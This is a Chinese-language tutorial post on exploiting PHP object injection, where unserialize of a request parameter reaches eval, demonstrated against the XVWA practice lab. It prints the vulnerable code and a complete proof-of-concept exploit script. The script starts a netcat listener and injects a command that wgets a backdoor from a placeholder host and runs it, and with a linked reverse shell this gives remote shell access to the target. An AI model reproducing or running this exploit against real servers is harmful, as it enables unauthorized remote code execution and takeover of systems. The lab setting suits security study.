PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
php的header和asp中的redirect比较
Oct 09 PHP
PHP 5.0对象模型深度探索之属性和方法
Mar 27 PHP
一步一步学习PHP(7) php 字符串相关应用
Mar 05 PHP
php disk_free_space 返回目录可用空间
May 10 PHP
PHP无限分类(树形类)
Sep 28 PHP
php写的AES加密解密类分享
Jun 20 PHP
php过滤表单提交的html等危险代码
Nov 03 PHP
PHP处理大量表单字段的便捷方法
Feb 07 PHP
php显示指定目录下子目录的方法
Mar 20 PHP
在laravel中使用Symfony的Crawler组件分析HTML
Jun 19 PHP
PHP数据源架构模式之表入口模式实例分析
Jan 23 PHP
PHP实现Snowflake生成分布式唯一ID的方法示例
Aug 30 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
mac环境中使用brew安装php5.5.15
2014/08/18 PHP
zend framework框架中url大小写问题解决方法
2014/08/19 PHP
php 批量查询搜狗sogou代码分享
2015/05/17 PHP
php获取数据库中数据的实现方法
2017/06/01 PHP
laravel 错误处理,接口错误返回json代码
2019/10/25 PHP
慎用 somefunction.prototype 分析
2009/06/02 Javascript
Javascript公共脚本库系列(一): 弹出层脚本
2011/02/24 Javascript
javascript获取web应用根目录的方法
2014/02/12 Javascript
Javascript中的arguments与重载介绍
2015/03/15 Javascript
jQuery子窗体取得父窗体元素的方法
2015/05/11 Javascript
通用javascript代码判断版本号是否在版本范围之间
2015/11/29 Javascript
javascript实现保留两位小数的多种方法
2015/12/18 Javascript
js学习笔记之事件处理模型
2016/10/31 Javascript
浅谈angular2路由预加载策略
2017/10/04 Javascript
微信小程序实现banner图轮播效果
2020/06/28 Javascript
JavaScript多种滤镜算法实现代码实例
2019/12/10 Javascript
vue集成openlayers加载geojson并实现点击弹窗教程
2020/09/24 Javascript
python开发之list操作实例分析
2016/02/22 Python
pygame加载中文名mp3文件出现error
2017/03/31 Python
python3.4下django集成使用xadmin后台的方法
2017/08/15 Python
python 类对象和实例对象动态添加方法(分享)
2017/12/31 Python
python 寻找list中最大元素对应的索引方法
2018/06/28 Python
Centos部署django服务nginx+uwsgi的方法
2019/01/02 Python
python 实现识别图片上的数字
2019/07/30 Python
Python使用pymysql模块操作mysql增删改查实例分析
2019/12/19 Python
python隐藏类中属性的3种实现方法
2019/12/19 Python
Tensorflow 多线程与多进程数据加载实例
2020/02/05 Python
Python基础之字典常见操作经典实例详解
2020/02/26 Python
Python函数参数定义及传递方式解析
2020/06/10 Python
Java如何基于wsimport调用wcf接口
2020/06/17 Python
matplotlib subplot绘制多个子图的方法示例
2020/07/28 Python
css3中flex布局宽度不生效的解决
2020/12/09 HTML / CSS
专升本学生毕业自我鉴定
2014/10/04 职场文书
七年级作文之环保作文
2019/10/17 职场文书
详解PHP用mb_string处理windows中文字符
2021/05/26 PHP
OpenCV中resize函数插值算法的实现过程(五种)
2021/06/05 Python